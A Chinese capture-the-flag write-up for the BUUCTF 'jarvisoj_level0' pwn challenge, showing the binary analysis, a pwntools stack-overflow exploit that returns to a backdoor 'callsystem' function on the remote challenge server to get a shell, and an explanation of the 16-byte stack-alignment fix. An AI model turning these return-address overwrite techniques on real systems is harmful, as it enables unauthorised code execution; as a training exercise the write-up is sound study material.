BUUCTF jarvisoj_level0 1

目录

一、分析

查看文件信息

关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数

二、EXP

csharp 复制代码
from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

csharp 复制代码
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

相关推荐
xuan哈哈哈1 小时前
web基础—dvwa靶场(八)XSS
web安全·网络安全
qmx_077 小时前
HTB-Jerry(tomcat war文件、msfvenom)
java·web安全·网络安全·tomcat
衍生星球14 小时前
【网络安全】对称密码体制
网络·安全·网络安全·密码学·对称密码
掘根14 小时前
【网络】高级IO——poll版本TCP服务器
网络·数据库·sql·网络协议·tcp/ip·mysql·网络安全
网安加社区16 小时前
国家网络安全宣传周 | 2024年网络安全领域重大政策法规一览
安全·网络安全·政策法规
weixin_4462608518 小时前
24年蓝桥杯及攻防世界赛题-MISC-3
网络安全·蓝桥杯
weixin_4462608519 小时前
24年蓝桥杯及攻防世界赛题-MISC-2
网络安全·蓝桥杯
xuan哈哈哈1 天前
web基础—dvwa靶场(八)SQL Injection(Blind)
数据库·web安全·网络安全
竹等寒1 天前
Spring框架常见漏洞
java·spring·网络安全